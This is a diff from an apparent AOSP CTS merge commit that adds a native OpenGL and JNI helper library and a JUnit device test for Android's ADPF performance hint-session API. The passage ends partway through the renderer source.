Merge "Audio effect tests: refactor for junit" into main
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index b0795e0..cae7f3e 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -3483,6 +3483,8 @@
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_notifications" />
<meta-data android:name="test_required_features" android:value="android.software.secure_lock_screen" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.watch" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
<meta-data android:name="CddTest" android:value="3.8.3/H-0-4" />
diff --git a/hostsidetests/adpf/app/hintsession/Android.bp b/hostsidetests/adpf/app/hintsession/Android.bp
index 263f16c..9ec45ca 100644
--- a/hostsidetests/adpf/app/hintsession/Android.bp
+++ b/hostsidetests/adpf/app/hintsession/Android.bp
@@ -16,13 +16,44 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
+cc_test_library {
+ name: "libadpfhintsession_test_helper_jni",
+ min_sdk_version: "34",
+ srcs: [
+ "src/cpp/AndroidOut.cpp",
+ "src/cpp/JNIManager.cpp",
+ "src/cpp/main.cpp",
+ "src/cpp/Renderer.cpp",
+ "src/cpp/Shader.cpp",
+ "src/cpp/TextureAsset.cpp",
+ "src/cpp/Utility.cpp",
+ "src/cpp/external/android_native_app_glue.c",
+ ],
+ shared_libs: [
+ "libandroid",
+ "libjnigraphics",
+ "libnativehelper",
+ "libEGL",
+ "libGLESv3",
+ "liblog",
+ ],
+ cpp_std: "c++20",
+ stl: "c++_shared",
+ whole_static_libs: ["libnativetesthelper_jni"],
+ sdk_version: "current",
+}
+
android_test_helper_app {
name: "CtsADPFHintSessionDeviceApp",
+ min_sdk_version: "34",
defaults: ["cts_adpf_defaults"],
srcs: ["src/**/*.java"],
static_libs: [
"androidx.test.rules",
"collector-device-lib",
+ "com.google.android.material_material",
+ "compatibility-device-util-axt",
],
sdk_version: "current",
+ jni_libs: ["libadpfhintsession_test_helper_jni"],
}
diff --git a/hostsidetests/adpf/app/hintsession/AndroidManifest.xml b/hostsidetests/adpf/app/hintsession/AndroidManifest.xml
index a99316d..474a008 100755
--- a/hostsidetests/adpf/app/hintsession/AndroidManifest.xml
+++ b/hostsidetests/adpf/app/hintsession/AndroidManifest.xml
@@ -16,15 +16,21 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.adpf.hintsession.app">
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.adpf.hintsession.app">
- <application>
+ <application
+ android:theme="@style/Theme.HintSessionTest"
+ android:label="HintSessionTest">
<activity android:name=".ADPFHintSessionDeviceActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
+ <meta-data
+ android:name="android.app.lib_name"
+ android:value="adpfhintsession_test_helper_jni" />
</activity>
</application>
diff --git a/hostsidetests/adpf/app/hintsession/assets/android.png b/hostsidetests/adpf/app/hintsession/assets/android.png
new file mode 100644
index 0000000..aae5f9d
--- /dev/null
+++ b/hostsidetests/adpf/app/hintsession/assets/android.png
Binary files differ
diff --git a/hostsidetests/adpf/app/hintsession/res/values/themes.xml b/hostsidetests/adpf/app/hintsession/res/values/themes.xml
new file mode 100644
index 0000000..061ca00
--- /dev/null
+++ b/hostsidetests/adpf/app/hintsession/res/values/themes.xml
@@ -0,0 +1,6 @@
+<resources xmlns:tools="http://schemas.android.com/tools">
+ <style name="Theme.HintSessionTest" parent="Theme.MaterialComponents.DayNight.DarkActionBar">
+ <item name="android:windowFullscreen">true</item>
+ <item name="android:windowContentOverlay">@null</item>"
+ </style>
+</resources>
\ No newline at end of file
diff --git a/hostsidetests/adpf/app/hintsession/src/android/adpf/hintsession/app/ADPFHintSessionDeviceActivity.java b/hostsidetests/adpf/app/hintsession/src/android/adpf/hintsession/app/ADPFHintSessionDeviceActivity.java
index 8668791..de851a9 100644
--- a/hostsidetests/adpf/app/hintsession/src/android/adpf/hintsession/app/ADPFHintSessionDeviceActivity.java
+++ b/hostsidetests/adpf/app/hintsession/src/android/adpf/hintsession/app/ADPFHintSessionDeviceActivity.java
@@ -16,37 +16,53 @@
package android.adpf.hintsession.app;
+import static android.adpf.common.ADPFHintSessionConstants.TESTS_ENABLED;
import static android.adpf.common.ADPFHintSessionConstants.TEST_NAME_KEY;
+import static android.adpf.common.ADPFHintSessionConstants.IS_HINT_SESSION_SUPPORTED_KEY;
-import android.app.Activity;
+import android.app.NativeActivity;
import android.content.Intent;
import android.os.Bundle;
-import android.os.PerformanceHintManager;
import android.util.Log;
+import android.view.WindowManager;
import java.util.HashMap;
import java.util.Map;
-import java.util.concurrent.TimeUnit;
/**
* A simple activity to create and use hint session APIs.
*/
-public class ADPFHintSessionDeviceActivity extends Activity {
- public static class Result {
- // if the activity runs successfully
- boolean mIsSuccess = true;
- // the error message if it fails to run
- String mErrMsg;
+public class ADPFHintSessionDeviceActivity
+ extends NativeActivity {
+
+ static {
+ System.loadLibrary(
+ "adpfhintsession_test_helper_jni");
}
- private static final String TAG =
- android.adpf.hintsession.app.ADPFHintSessionDeviceActivity.class.getSimpleName();
+ protected void onResume() {
+ super.onResume();
+ setFullscreen();
+ }
- private PerformanceHintManager.Session mSession;
+ protected void setFailure(String message) {
+ synchronized (mMetrics) {
+ mMetrics.put("failure", message);
+ }
+ }
+
+ private static final String TAG = android.adpf.hintsession.app
+ .ADPFHintSessionDeviceActivity.class.getSimpleName();
private final Map<String, String> mMetrics = new HashMap<>();
- private final Result mResult = new Result();
+ /**
+ * Flag used to indicate tests are finished, used by
+ * waitForTestFinished to allow the instrumentation to block
+ * on test completion correctly.
+ */
+ private Boolean mFinished = false;
+ private final Object mFinishedLock = new Object();
@Override
public void onCreate(Bundle icicle) {
@@ -55,40 +71,17 @@
String testName = intent.getStringExtra(
TEST_NAME_KEY);
if (testName == null) {
- synchronized (mResult) {
- mResult.mIsSuccess = false;
- mResult.mErrMsg = "test starts without name";
- }
+ setFailure("Test starts without name");
return;
}
+ Log.e(TAG, "created");
+ sendConfigToNative(TESTS_ENABLED);
+ }
- if (mSession == null) {
- PerformanceHintManager hintManager = getApplicationContext().getSystemService(
- PerformanceHintManager.class);
- long preferredRate = hintManager.getPreferredUpdateRateNanos();
- synchronized (mMetrics) {
- mMetrics.put("isHintSessionSupported", preferredRate < 0 ? "false" : "true");
- mMetrics.put("preferredRate", String.valueOf(preferredRate));
- }
- if (hintManager.getPreferredUpdateRateNanos() < 0) {
- Log.i(TAG, "Skipping the test as the hint session is not supported");
- return;
- }
- final long id = android.os.Process.myTid();
- mSession = hintManager.createHintSession(new int[]{(int) id},
- TimeUnit.MILLISECONDS.toNanos(10));
- if (mSession == null) {
- synchronized (mResult) {
- mResult.mIsSuccess = false;
- mResult.mErrMsg = "failed to create hint session";
- }
- return;
- }
- }
- final long targetMillis = 10;
- mSession.updateTargetWorkDuration(TimeUnit.MILLISECONDS.toNanos(targetMillis));
- final long actualMillis = 5;
- mSession.reportActualWorkDuration(TimeUnit.MILLISECONDS.toNanos(actualMillis));
+ private void setFullscreen() {
+ getWindow().setFlags(
+ WindowManager.LayoutParams.FLAG_FULLSCREEN,
+ WindowManager.LayoutParams.FLAG_FULLSCREEN);
}
@Override
@@ -97,6 +90,61 @@
}
/**
+ * Sends test information to the native code and signals
+ * it to start running performance tests.
+ */
+ public native void sendConfigToNative(String[] data);
+
+ /**
+ * Sends test information from the native code back up
+ * to the Java code once testing is complete
+ */
+ public void sendResultsToJava(String[] names,
+ String[] values) {
+ synchronized (mMetrics) {
+ for (int i = 0; i < names.length; ++i) {
+ mMetrics.put(names[i], values[i]);
+ }
+ String key = mMetrics.get(IS_HINT_SESSION_SUPPORTED_KEY);
+ if (key != null && key.equals("false")) {
+ Log.i(TAG, "Skipping the test as the hint session is not supported");
+ }
+ }
+
+ setFinished();
+ }
+
+ /**
+ * Signals to the app that everything is finished,
+ */
+ public void setFinished() {
+ synchronized (mFinishedLock) {
+ mFinished = true;
+ mFinishedLock.notifyAll();
+ }
+ }
+
+ /**
+ * Blocks until the test has completed, to allow instrumentation
+ * to wait for the test to completely finish
+ */
+ public void waitForTestFinished() {
+ while (true) {
+ synchronized (mFinishedLock) {
+ if (mFinished) {
+ break;
+ }
+ try {
+ mFinishedLock.wait();
+ } catch (InterruptedException e) {
+ System.err.println("Interrupted!");
+ break;
+ }
+ }
+ }
+ }
+
+ /**
* Gets the hint session test metrics.
*/
public Map<String, String> getMetrics() {
@@ -104,17 +152,4 @@
return new HashMap<>(mMetrics);
}
}
-
- /**
- * Gets the hint session test result.
- */
- public Result getResult() {
- Result res = new Result();
- synchronized (mResult) {
- res.mIsSuccess = mResult.mIsSuccess;
- res.mErrMsg = mResult.mErrMsg;
- }
- return res;
- }
-
}
diff --git a/hostsidetests/adpf/app/hintsession/src/android/adpf/hintsession/app/ADPFHintSessionDeviceTest.java b/hostsidetests/adpf/app/hintsession/src/android/adpf/hintsession/app/ADPFHintSessionDeviceTest.java
new file mode 100644
index 0000000..2f4759f
--- /dev/null
+++ b/hostsidetests/adpf/app/hintsession/src/android/adpf/hintsession/app/ADPFHintSessionDeviceTest.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.adpf.hintsession.app;
+
+import static android.adpf.common.ADPFHintSessionConstants.TEST_NAME_KEY;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.device.collectors.util.SendToInstrumentation;
+import android.os.Bundle;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.Map;
+
+@RunWith(AndroidJUnit4.class)
+public class ADPFHintSessionDeviceTest {
+ private final Instrumentation mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ private Context mContext;
+
+ @Before
+ public void setUp() {
+ mContext = mInstrumentation.getContext();
+ }
+
+ protected void assumeMobileDeviceFormFactor() throws IOException {
+ final PackageManager pm = mContext.getPackageManager();
+ assumeFalse("Skipping test for auto",
+ pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
+ assumeFalse("Skipping test for TV",
+ pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK)); // TVs
+ assumeFalse("Skipping test for watch",
+ pm.hasSystemFeature(PackageManager.FEATURE_WATCH));
+ assumeFalse("Skipping test for embedded",
+ pm.hasSystemFeature(PackageManager.FEATURE_EMBEDDED));
+ assumeFalse("Skipping test for Cuttlefish",
+ MediaUtils.onCuttlefish());
+ }
+
+ @Test
+ public void testAdpfHintSession() throws IOException {
+ assumeMobileDeviceFormFactor();
+ final Intent intent = new Intent(mContext, ADPFHintSessionDeviceActivity.class);
+ // TODO: pass config to app
+ intent.putExtra(TEST_NAME_KEY, "testAdpfHintSession");
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+ ADPFHintSessionDeviceActivity activity = (ADPFHintSessionDeviceActivity) mInstrumentation
+ .startActivitySync(intent);
+ // this will wait until the test is complete
+ activity.waitForTestFinished();
+
+ // report metrics
+ final Bundle returnBundle = new Bundle();
+ Map<String, String> metrics = activity.getMetrics();
+ if (metrics.containsKey("failure")) {
+ fail("Failed with error: " + metrics.get("failure"));
+ }
+ metrics.forEach(returnBundle::putString);
+ SendToInstrumentation.sendBundle(mInstrumentation, returnBundle);
+ }
+}
diff --git a/hostsidetests/adpf/app/hintsession/src/android/adpf/hintsession/test/ADPFHintSessionDeviceTest.java b/hostsidetests/adpf/app/hintsession/src/android/adpf/hintsession/test/ADPFHintSessionDeviceTest.java
deleted file mode 100644
index 7d18878..0000000
--- a/hostsidetests/adpf/app/hintsession/src/android/adpf/hintsession/test/ADPFHintSessionDeviceTest.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (C) 2023 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.adpf.hintsession.app;
-
-import static android.adpf.common.ADPFHintSessionConstants.TEST_NAME_KEY;
-
-import static org.junit.Assert.assertTrue;
-
-import android.app.Instrumentation;
-import android.content.Context;
-import android.content.Intent;
-import android.device.collectors.util.SendToInstrumentation;
-import android.os.Bundle;
-
-import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.Map;
-
-@RunWith(AndroidJUnit4.class)
-public class ADPFHintSessionDeviceTest {
- private final Instrumentation mInstrumentation = InstrumentationRegistry.getInstrumentation();
-
- @Test
- public void testMetrics() {
- final Context context = mInstrumentation.getContext();
- final Intent intent = new Intent(context, ADPFHintSessionDeviceActivity.class);
- // TODO: pass config to app
- intent.putExtra(TEST_NAME_KEY, "testMetrics");
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- ADPFHintSessionDeviceActivity activity =
- (ADPFHintSessionDeviceActivity) mInstrumentation.startActivitySync(intent);
- // this will wait until onCreate finishes
- mInstrumentation.waitForIdleSync();
-
- ADPFHintSessionDeviceActivity.Result res = activity.getResult();
- assertTrue(res.mErrMsg, res.mIsSuccess);
-
- // report metrics
- final Bundle returnBundle = new Bundle();
- Map<String, String> metrics = activity.getMetrics();
- metrics.forEach(returnBundle::putString);
- SendToInstrumentation.sendBundle(mInstrumentation, returnBundle);
- }
-}
diff --git a/hostsidetests/adpf/app/hintsession/src/cpp/AndroidOut.cpp b/hostsidetests/adpf/app/hintsession/src/cpp/AndroidOut.cpp
new file mode 100644
index 0000000..5887f6f
--- /dev/null
+++ b/hostsidetests/adpf/app/hintsession/src/cpp/AndroidOut.cpp
@@ -0,0 +1,21 @@
+/*
+ * Copyright 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "AndroidOut.h"
+
+AndroidOut androidOut("AdpfTestLog", ANDROID_LOG_DEBUG);
+AndroidOut androidErr("AdpfTestLog", ANDROID_LOG_ERROR);
+std::ostream aout(&androidOut);
+std::ostream aerr(&androidErr);
\ No newline at end of file
diff --git a/hostsidetests/adpf/app/hintsession/src/cpp/AndroidOut.h b/hostsidetests/adpf/app/hintsession/src/cpp/AndroidOut.h
new file mode 100644
index 0000000..6e2ac1a
--- /dev/null
+++ b/hostsidetests/adpf/app/hintsession/src/cpp/AndroidOut.h
@@ -0,0 +1,49 @@
+/*
+ * Copyright 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#pragma once
+
+#include <android/log.h>
+
+#include <sstream>
+
+extern std::ostream aout;
+extern std::ostream aerr;
+
+/*!
+ * Use this class to create an output stream that writes to logcat. By default, a global one is
+ * defined as @a aout
+ */
+class AndroidOut : public std::stringbuf {
+public:
+ /*!
+ * Creates a new output stream for logcat
+ * @param kLogTag the log tag to output
+ */
+ inline AndroidOut(const char* logTag, android_LogPriority priority)
+ : mLogTag(logTag), mPriority(priority) {}
+
+protected:
+ virtual int sync() override {
+ __android_log_print(mPriority, mLogTag, "%s", str().c_str());
+
+ str("");
+ return 0;
+ }
+
+private:
+ const char* mLogTag;
+ android_LogPriority mPriority;
+};
diff --git a/hostsidetests/adpf/app/hintsession/src/cpp/JNIManager.cpp b/hostsidetests/adpf/app/hintsession/src/cpp/JNIManager.cpp
new file mode 100644
index 0000000..1effa75
--- /dev/null
+++ b/hostsidetests/adpf/app/hintsession/src/cpp/JNIManager.cpp
@@ -0,0 +1,86 @@
+/*
+ * Copyright 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "JNIManager.h"
+
+#include <mutex>
+#include <vector>
+
+#include "jni.h"
+
+void JNIManager::sendResultsToJava(std::map<std::string, std::string> data) {
+ JNIManager& manager = getInstance();
+ JNIEnv* env = manager.AttachCurrentThread();
+ jclass stringClass = env->FindClass("java/lang/String");
+ jmethodID sendMethod = env->GetMethodID(manager.getMainActivityClass(), "sendResultsToJava",
+ "([Ljava/lang/String;[Ljava/lang/String;)V");
+
+ jobjectArray namesOut = env->NewObjectArray(data.size(), stringClass, 0);
+ jobjectArray valuesOut = env->NewObjectArray(data.size(), stringClass, 0);
+
+ int index = 0;
+ for (auto&& item : data) {
+ env->SetObjectArrayElement(namesOut, index, env->NewStringUTF(item.first.c_str()));
+ env->SetObjectArrayElement(valuesOut, index, env->NewStringUTF(item.second.c_str()));
+ ++index;
+ }
+
+ env->CallVoidMethod(manager.app_->activity->clazz, sendMethod, namesOut, valuesOut);
+ manager.DetachCurrentThread();
+}
+
+void JNIManager::sendConfigToNative(JNIEnv* env, jobject, jobjectArray data) {
+ std::lock_guard lock(getInstance().mutex_);
+ size_t length = env->GetArrayLength(data);
+ std::vector<std::string> out{};
+ for (int i = 0; i < length; ++i) {
+ jstring str = static_cast<jstring>(env->GetObjectArrayElement(data, i));
+ const char* rawStr = env->GetStringUTFChars(str, 0);
+ out.push_back({rawStr});
+ env->ReleaseStringUTFChars(str, rawStr);
+ }
+ getInstance().testNames_.set_value(out);
+}
+
+std::vector<std::string> JNIManager::getTestNames() {
+ return testNames_.get_future().get();
+}
+
+JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void*) {
+ JNIEnv* env;
+ if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) {
+ return JNI_ERR;
+ }
+
+ static jclass deviceActivityClass =
+ env->FindClass("android/adpf/hintsession/app/ADPFHintSessionDeviceActivity");
+ JNIManager::getInstance().setMainActivityClassGlobalRef(
+ reinterpret_cast<jclass>(env->NewGlobalRef(deviceActivityClass)));
+
+ if (deviceActivityClass == nullptr) return JNI_ERR;
+
+ static const JNINativeMethod methods[] = {
+ {"sendConfigToNative", "([Ljava/lang/String;)V",
+ reinterpret_cast<void*>(JNIManager::sendConfigToNative)},
+
+ };
+
+ int rc = env->RegisterNatives(deviceActivityClass, methods,
+ sizeof(methods) / sizeof(JNINativeMethod));
+ if (rc != JNI_OK) return rc;
+
+ return JNI_VERSION_1_6;
+}
diff --git a/hostsidetests/adpf/app/hintsession/src/cpp/JNIManager.h b/hostsidetests/adpf/app/hintsession/src/cpp/JNIManager.h
new file mode 100644
index 0000000..14b1110
--- /dev/null
+++ b/hostsidetests/adpf/app/hintsession/src/cpp/JNIManager.h
@@ -0,0 +1,78 @@
+/*
+ * Copyright 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#pragma once
+
+#include <jni.h>
+
+#include <future>
+#include <map>
+#include <mutex>
+#include <vector>
+
+#include "external/android_native_app_glue.h"
+
+class JNIManager {
+public:
+ // Used to send results from the native side to the Java app
+ static void sendResultsToJava(std::map<std::string, std::string> data);
+ // Used to receive data in native code about the test configuration from Java
+ static void sendConfigToNative(JNIEnv* env, jobject thisObj, jobjectArray data);
+
+ static JNIManager& getInstance() {
+ static JNIManager instance;
+ return instance;
+ }
+
+ ~JNIManager() {
+ JNIEnv* env = AttachCurrentThread();
+ env->DeleteGlobalRef(mainActivityClassGlobalRef_);
+ DetachCurrentThread();
+ }
+
+ void setApp(android_app* app) { app_ = app; }
+
+ JNIEnv* AttachCurrentThread() {
+ JNIEnv* env;
+ JavaVM* vm = app_->activity->vm;
+ if (vm->GetEnv((void**)&env, JNI_VERSION_1_6) == JNI_OK) return env;
+ vm->AttachCurrentThread(&env, NULL);
+ return env;
+ }
+
+ bool useHintSession() {
+ std::lock_guard lock(mutex_);
+ return hintSessionEnabled_;
+ }
+
+ void setMainActivityClassGlobalRef(jclass c) { mainActivityClassGlobalRef_ = c; }
+
+ jclass getMainActivityClass() { return mainActivityClassGlobalRef_; }
+
+ void DetachCurrentThread() { app_->activity->vm->DetachCurrentThread(); }
+
+ std::vector<std::string> getTestNames();
+
+private:
+ std::mutex mutex_;
+ jclass mainActivityClassGlobalRef_;
+ android_app* app_;
+ bool hintSessionEnabled_;
+ static JNIManager& instance;
+ std::promise<std::vector<std::string>> testNames_;
+};
+
+// #endif
diff --git a/hostsidetests/adpf/app/hintsession/src/cpp/Model.h b/hostsidetests/adpf/app/hintsession/src/cpp/Model.h
new file mode 100644
index 0000000..6e20398
--- /dev/null
+++ b/hostsidetests/adpf/app/hintsession/src/cpp/Model.h
@@ -0,0 +1,116 @@
+/*
+ * Copyright 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#pragma once
+
+#include <cmath>
+#include <memory>
+#include <vector>
+
+#include "TextureAsset.h"
+
+union Vector3 {
+ struct {
+ float x, y, z;
+ };
+ float idx[3];
+ Vector3 operator*(float value) { return Vector3{{x * value, y * value, z * value}}; }
+ Vector3 operator/(float value) { return Vector3{{x / value, y / value, z / value}}; }
+ Vector3 operator+(Vector3 const &other) {
+ return Vector3{{x + other.x, y + other.y, z + other.z}};
+ }
+ Vector3 operator-(Vector3 const &other) {
+ return Vector3{{x - other.x, y - other.y, z - other.z}};
+ }
+};
+
+union Vector2 {
+ struct {
+ float x, y;
+ };
+ struct {
+ float u, v;
+ };
+ float idx[2];
+};
+
+struct Vertex {
+ constexpr Vertex(const Vector3 &inPosition, const Vector2 &inUV)
+ : position(inPosition), uv(inUV) {}
+
+ Vector3 position;
+ Vector2 uv;
+};
+
+typedef uint16_t Index;
+
+class Model {
+public:
+ inline Model(std::vector<Vertex> vertices, std::vector<Index> indices,
+ std::shared_ptr<TextureAsset> spTexture)
+ : currentVertices_(vertices),
+ startVertices_(std::move(vertices)),
+ indices_(std::move(indices)),
+ spTexture_(std::move(spTexture)) {
+ findCenter();
+ }
+
+ inline const Vertex *getVertexData() const { return currentVertices_.data(); }
+
+ inline size_t getIndexCount() const { return indices_.size(); }
+
+ inline const Index *getIndexData() const { return indices_.data(); }
+
+ inline const TextureAsset &getTexture() const { return *spTexture_; }
+
+ inline const Vector3 getCenter() { return center_; }
+
+ void move(Vector3 offset) {
+ for (int i = 0; i < startVertices_.size(); ++i) {
+ startVertices_[i].position = startVertices_[i].position + offset;
+ currentVertices_[i].position = currentVertices_[i].position + offset;
+ }
+ center_ = center_ + offset;
+ }
+
+ void setRotation(float angle) {
+ float rad = angle + rotationOffset_;
+ for (int i = 0; i < startVertices_.size(); ++i) {
+ Vector3 normalized = startVertices_[i].position - center_;
+ Vector3 out{{0, 0, 0}};
+ out.x = normalized.x * cos(rad) - normalized.y * sin(rad);
+ out.y = normalized.x * sin(rad) + normalized.y * cos(rad);
+ currentVertices_[i].position = out + center_;
+ }
+ }
+
+ void setRotationOffset(float angle) { rotationOffset_ = angle; }
+
+private:
+ void findCenter() {
+ Vector3 center{{0, 0, 0}};
+ for (auto &&vertex : startVertices_) {
+ center = center + vertex.position;
+ }
+ center_ = center / static_cast<float>(startVertices_.size());
+ }
+
+ Vector3 center_;
+ std::vector<Vertex> currentVertices_;
+ std::vector<Vertex> startVertices_;
+ std::vector<Index> indices_;
+ std::shared_ptr<TextureAsset> spTexture_;
+ float rotationOffset_;
+};
diff --git a/hostsidetests/adpf/app/hintsession/src/cpp/Renderer.cpp b/hostsidetests/adpf/app/hintsession/src/cpp/Renderer.cpp
new file mode 100644
index 0000000..ac73fe6
--- /dev/null
+++ b/hostsidetests/adpf/app/hintsession/src/cpp/Renderer.cpp
@@ -0,0 +1,449 @@
+/*
+ * Copyright 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "Renderer.h"
+
+#include <GLES3/gl3.h>
+#include <android/imagedecoder.h>
+
+#include <memory>
+#include <numeric>
+#include <string>
+#include <vector>
+// #include <iostream>
+
+#include <chrono>
+
+#include "AndroidOut.h"
+#include "JNIManager.h"
+#include "Shader.h"
+#include "TextureAsset.h"
+#include "Utility.h"
+#include "android/performance_hint.h"
+
+using namespace std::chrono_literals;
+//! executes glGetString and outputs the result to logcat
+#define PRINT_GL_STRING(s) \
+ { aout << #s ": " << glGetString(s) << std::endl; }
+
+/*!
+ * @brief if glGetString returns a space separated list of elements, prints each one on a new line
+ *
+ * This works by creating an istringstream of the input c-style string. Then that is used to create
+ * a vector -- each element of the vector is a new element in the input string. Finally a foreach
+ * loop consumes this and outputs it to logcat using @a aout
+ */
+#define PRINT_GL_STRING_AS_LIST(s) \
+ { \
+ std::istringstream extensionStream((const char *)glGetString(s)); \
+ std::vector<std::string> \
+ extensionList(std::istream_iterator<std::string>{extensionStream}, \
+ std::istream_iterator<std::string>()); \
+ aout << #s ":\n"; \
+ for (auto &extension : extensionList) { \
+ aout << extension << "\n"; \
+ } \
+ aout << std::endl; \
+ }
+
+//! Color for cornflower blue. Can be sent directly to glClearColor
+#define CORNFLOWER_BLUE 100 / 255.f, 149 / 255.f, 237 / 255.f, 1
+
+// Vertex shader, you'd typically load this from assets
+static const char *vertex = R"vertex(#version 300 es
+in vec3 inPosition;
+in vec2 inUV;
+
+out vec2 fragUV;
+
+uniform mat4 uProjection;
+
+void main() {
+ fragUV = inUV;
+ gl_Position = uProjection * vec4(inPosition, 1.0);
+}
+)vertex";
+
+// Fragment shader, you'd typically load this from assets
+static const char *fragment = R"fragment(#version 300 es
+precision mediump float;
+
+in vec2 fragUV;
+
+uniform sampler2D uTexture;
+
+out vec4 outColor;
+
+void main() {
+ outColor = texture(uTexture, fragUV);
+}
+)fragment";
+
+/*!
+ * Half the height of the projection matrix. This gives you a renderable area of height 4 ranging
+ * from -2 to 2
+ */
+static constexpr float kProjectionHalfHeight = 2.f;
+
+/*!
+ * The near plane distance for the projection matrix. Since this is an orthographic projection
+ * matrix, it's convenient to have negative values for sorting (and avoiding z-fighting at 0).
+ */
+static constexpr float kProjectionNearPlane = -1.f;
+
+/*!
+ * The far plane distance for the projection matrix. Since this is an orthographic porjection
+ * matrix, it's convenient to have the far plane equidistant from 0 as the near plane.
+ */
+static constexpr float kProjectionFarPlane = 1.f;
+
+Renderer::~Renderer() {
+ if (display_ != EGL_NO_DISPLAY) {
+ eglMakeCurrent(display_, EGL_NO_SURFACE, EGL_NO_SURFACE, EGL_NO_CONTEXT);
+ if (context_ != EGL_NO_CONTEXT) {
+ eglDestroyContext(display_, context_);
+ context_ = EGL_NO_CONTEXT;
+ }
+ if (surface_ != EGL_NO_SURFACE) {
+ eglDestroySurface(display_, surface_);
+ surface_ = EGL_NO_SURFACE;
+ }
+ eglTerminate(display_);
